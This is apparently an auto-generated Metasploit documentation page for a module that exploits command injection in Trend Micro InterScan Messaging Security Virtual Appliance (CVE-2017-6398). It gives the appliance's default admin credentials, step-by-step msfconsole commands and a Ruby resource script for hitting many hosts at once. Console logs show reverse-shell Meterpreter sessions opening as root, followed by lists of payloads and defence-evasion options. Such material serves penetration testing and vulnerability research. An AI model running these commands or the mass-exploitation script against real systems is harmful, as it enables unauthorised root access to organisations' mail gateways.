Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution - Metasploit
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Module Overview
Name: Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution
Module: exploit/linux/http/trend_micro_imsva_exec
Source code: modules/exploits/linux/http/trend_micro_imsva_exec.rb
Disclosure date: 2017-01-15
Last modification time: 2018-11-16 12:18:28 +0000
Supported architecture(s): python
Supported platform(s): Python
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8445, 8880, 8888
List of CVEs: CVE-2017-6398
This module exploits a command injection vulnerability in the Trend Micro IMSVA product. An authenticated user can execute a terminal command under the context of the web server user which is root. Besides, default installation of IMSVA comes with a default administrator credentials. saveCert.imss endpoint takes several user inputs and performs blacklisting. After that it use them as argument of predefined operating system command without proper sanitation. However, due to improper blacklisting rule it's possible to inject arbitrary commands into it. InterScan Messaging Security prior to 9.1.-1600 affected by this issue. This module was tested against IMSVA 9.1-1600.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using trend_micro_imsva_exec against a single host
Normally, you can use exploit/linux/http/trend_micro_imsva_exec this way:
msf > use exploit/linux/http/trend_micro_imsva_exec
msf exploit(trend_micro_imsva_exec) > show targets
... a list of targets ...
msf exploit(trend_micro_imsva_exec) > set TARGET target-id
msf exploit(trend_micro_imsva_exec) > show options
... show and set options ...
msf exploit(trend_micro_imsva_exec) > exploit
Using trend_micro_imsva_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your trend_micro_imsva_exec will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/trend_micro_imsva_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits a command injection vulnerability in the Trend Micro InterScan Messaging Security (Virtual Appliance) product. An authenticated user can execute a terminal command under the context of the web server user which is root. Besides, default installation of IMSVA comes with a default administrator credentials.
saveCert.imss endpoint takes several user inputs and performs blacklisting. After that it use them as argument of predefined operating system command without proper sanitation. However,due to improper blacklisting rule it's possible to inject arbitrary commands into it. InterScan Messaging Security prior to 9.1.-1600 affected by this issue.
Vulnerable Application Installation Steps
IMSVA is distrubed as an ISO image by Trend Micro.
Following steps are valid on the CentOS 6 x64 bit operating system.
- Open following URL http://downloadcenter.trendmicro.com/
- Find "InterScan Messaging Security (Virtual Appliance)" and click.
- At the time of writing this documentation, you must see "IMSVA-9.1-1600-x86-64-r2.iso" next to Download button.
- Click to the download button and complete installation of ISO.
If you don't see a affected version of IMSVA, you can try to download IMSVA-9.1-1600 directly from following URL.
http://files.trendmicro.com/products/imsva/9.1/IMSVA-9.1-1600-x86_64-r2.iso
System requirements: - Virtualbox or VMware can be used. - 4 GB of memory at least. - 120 GB of disk size at least.
Verification Steps
A successful check of the exploit will look like this:
msf > use exploit/linux/http/trend_micro_imsva_exec
msf exploit(trend_micro_imsva_exec) > set RHOST 12.0.0.140
RHOST => 12.0.0.140
msf exploit(trend_micro_imsva_exec) > set LHOST 12.0.0.1
LHOST => 12.0.0.1
msf exploit(trend_micro_imsva_exec) > exploit
[*] Started reverse TCP handler on 12.0.0.1:4444
[*] Attempting to login with admin:imsva
[+] Authenticated as admin:imsva
[*] Delivering payload...
[*] Sending stage (38622 bytes) to 12.0.0.140
[*] Meterpreter session 1 opened (12.0.0.1:4444 -> 12.0.0.140:60822) at 2017-01-18 11:29:36 +0300
meterpreter > getuid
Server username: root
meterpreter >
You must be getting no access error if the supplied username and password or default credentials are wrong.
msf exploit(trend_micro_imsva_exec) > back
msf > use exploit/linux/http/trend_micro_imsva_exec
msf exploit(trend_micro_imsva_exec) > set RHOST 12.0.0.140
RHOST => 12.0.0.140
msf exploit(trend_micro_imsva_exec) > set LHOST 12.0.0.1
LHOST => 12.0.0.1
msf exploit(trend_micro_imsva_exec) >
msf exploit(trend_micro_imsva_exec) > set USERNAME notvalid
USERNAME => notvalid
msf exploit(trend_micro_imsva_exec) > set PASSWORD notvalid123
PASSWORD => notvalid123
msf exploit(trend_micro_imsva_exec) > exploit
[*] Started reverse TCP handler on 12.0.0.1:4444
[*] Attempting to login with notvalid:notvalid123
[-] Exploit aborted due to failure: no-access: 12.0.0.140:8445 - Login with notvalid:notvalid123 failed...
[*] Exploit completed, but no session was created.
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Msfconsole Usage
Here is how the linux/http/trend_micro_imsva_exec exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/trend_micro_imsva_exec
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(linux/http/trend_micro_imsva_exec) > show info
Name: Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution
Module: exploit/linux/http/trend_micro_imsva_exec
Platform: Python
Arch: python
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-01-15
Provided by:
Mehmet Ince <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD imsva yes The password for authentication
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8445 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The target URI of the Trend Micro IMSVA
USERNAME admin yes The username for authentication
VHOST no HTTP server virtual host
Payload information:
Space: 1024
Avoid: 2 characters
Description:
This module exploits a command injection vulnerability in the Trend
Micro IMSVA product. An authenticated user can execute a terminal
command under the context of the web server user which is root.
Besides, default installation of IMSVA comes with a default
administrator credentials. saveCert.imss endpoint takes several user
inputs and performs blacklisting. After that it use them as argument
of predefined operating system command without proper sanitation.
However, due to improper blacklisting rule it's possible to inject
arbitrary commands into it. InterScan Messaging Security prior to
9.1.-1600 affected by this issue. This module was tested against
IMSVA 9.1-1600.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-6398
https://pentest.blog/advisory-trend-micro-interscan-messaging-security-virtual-appliance-remote-code-execution/
Module Options
This is a complete list of options available in the linux/http/trend_micro_imsva_exec exploit:
msf6 exploit(linux/http/trend_micro_imsva_exec) > show options
Module options (exploit/linux/http/trend_micro_imsva_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD imsva yes The password for authentication
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8445 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The target URI of the Trend Micro IMSVA
USERNAME admin yes The username for authentication
VHOST no HTTP server virtual host
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/http/trend_micro_imsva_exec exploit:
msf6 exploit(linux/http/trend_micro_imsva_exec) > show advanced
Module advanced options (exploit/linux/http/trend_micro_imsva_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
HttpCookie no An optional value to use for the Cookie HTTP header
HttpHostHeader no An optional value to use for the Host HTTP header
HttpReferer no An optional value to use for the Referer HTTP header
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterTryToFork true no Fork a new process if the functionality is available
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PythonMeterpreterDebug false no Enable debugging for the Python meterpreter
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/trend_micro_imsva_exec module can exploit:
msf6 exploit(linux/http/trend_micro_imsva_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/trend_micro_imsva_exec exploit:
msf6 exploit(linux/http/trend_micro_imsva_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/python/meterpreter/bind_tcp normal No Python Meterpreter, Python Bind TCP Stager
6 payload/python/meterpreter/bind_tcp_uuid normal No Python Meterpreter, Python Bind TCP Stager with UUID Support
7 payload/python/meterpreter/reverse_http normal No Python Meterpreter, Python Reverse HTTP Stager
8 payload/python/meterpreter/reverse_https normal No Python Meterpreter, Python Reverse HTTPS Stager
9 payload/python/meterpreter/reverse_tcp normal No Python Meterpreter, Python Reverse TCP Stager
10 payload/python/meterpreter/reverse_tcp_ssl normal No Python Meterpreter, Python Reverse TCP SSL Stager
11 payload/python/meterpreter/reverse_tcp_uuid normal No Python Meterpreter, Python Reverse TCP Stager with UUID Support
12 payload/python/pingback_bind_tcp normal No Python Pingback, Bind TCP (via python)
13 payload/python/pingback_reverse_tcp normal No Python Pingback, Reverse TCP (via python)
14 payload/python/shell_bind_tcp normal No Command Shell, Bind TCP (via python)
15 payload/python/shell_reverse_tcp normal No Command Shell, Reverse TCP (via python)
16 payload/python/shell_reverse_tcp_ssl normal No Command Shell, Reverse TCP SSL (via python)
17 payload/python/shell_reverse_udp normal No Command Shell, Reverse UDP (via python)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/trend_micro_imsva_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/trend_micro_imsva_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Login with <USER>:<PASS> failed...
Here is a relevant code snippet related to the "<PEER> - Login with <USER>:<PASS> failed..." error message:
78: 'pwdfake' => Rex::Text::encode_base64(pass)
79: }
80: })
81:
82: if res && res.body.include?("The user name or password you entered is invalid")
83: fail_with(Failure::NoAccess, "#{peer} - Login with #{user}:#{pass} failed...")
84: end
85:
86: cookie = res.get_cookies
87: if res.code == 302 && cookie.include?("JSESSIONID")
88: jsessionid = cookie.scan(/JSESSIONID=(\w+);/).flatten.first
Unable to obtain the cookie session ID
Here is a relevant code snippet related to the "Unable to obtain the cookie session ID" error message:
96: def exploit
97:
98: jsessionid = login
99:
100: unless jsessionid
101: fail_with(Failure::Unknown, 'Unable to obtain the cookie session ID')
102: end
103:
104: # Somehow java stores last visited url on session like viewstate!
105: # Visit form before submitting it. Otherwise, it will cause a crash.
106:
Unable to visit initCert.imss
Here is a relevant code snippet related to the "Unable to visit initCert.imss" error message:
109: 'uri' => normalize_uri(target_uri.path, 'initCert.imss'),
110: 'cookie' => "JSESSIONID=#{jsessionid}"
111: })
112:
113: if !res or !res.body.include?("Transport Layer Security")
114: fail_with(Failure::Unknown, 'Unable to visit initCert.imss')
115: end
116:
117: # Random string that will be used as a cert name, state, email etc.
118: r = Rex::Text::rand_text_alphanumeric(5)
119:
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Related Pull Requests
- #10973 Merged Pull Request: Rework DisclosureDate check in msftidy, including ISO 8601 support
- #8888 Merged Pull Request: spelling/grammar fixes part 1
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8115 Merged Pull Request: Adding CVE number for Trend Micro IMSVA
- #7969 Merged Pull Request: Add Module Trend Micro IMSVA Remote Code Execution
References
- CVE-2017-6398
- https://pentest.blog/advisory-trend-micro-interscan-messaging-security-virtual-appliance-remote-code-execution/
See Also
Check also the following modules related to this module:
- exploit/linux/http/trendmicro_imsva_widget_exec
- exploit/linux/http/trendmicro_sps_exec
- exploit/linux/http/trendmicro_websecurity_exec
- exploit/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi
- exploit/windows/antivirus/trendmicro_serverprotect
- exploit/windows/antivirus/trendmicro_serverprotect_createbinding
- exploit/windows/antivirus/trendmicro_serverprotect_earthagent
- exploit/windows/browser/trendmicro_extsetowner
- exploit/windows/browser/trendmicro_officescan
- exploit/windows/http/trendmicro_officescan
- exploit/windows/http/trendmicro_officescan_widget_exec
- exploit/windows/misc/trendmicro_cmdprocessor_addtask
- auxiliary/admin/http/trendmicro_dlp_traversal
- exploit/linux/http/microfocus_obr_cmd_injection
- exploit/linux/http/microfocus_secure_messaging_gateway
- exploit/linux/ssh/microfocus_obr_shrboadmin
- exploit/multi/http/microfocus_obm_auth_rce
- exploit/multi/http/microfocus_ucmdb_unauth_deser
- exploit/windows/fileformat/microp_mppl
- exploit/windows/fileformat/microsoft_windows_contact
- exploit/windows/local/microfocus_operations_privesc
- auxiliary/gather/microweber_lfi
Authors
- Mehmet Ince <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.1.33-dev. For more modules, visit the Metasploit Module Library.
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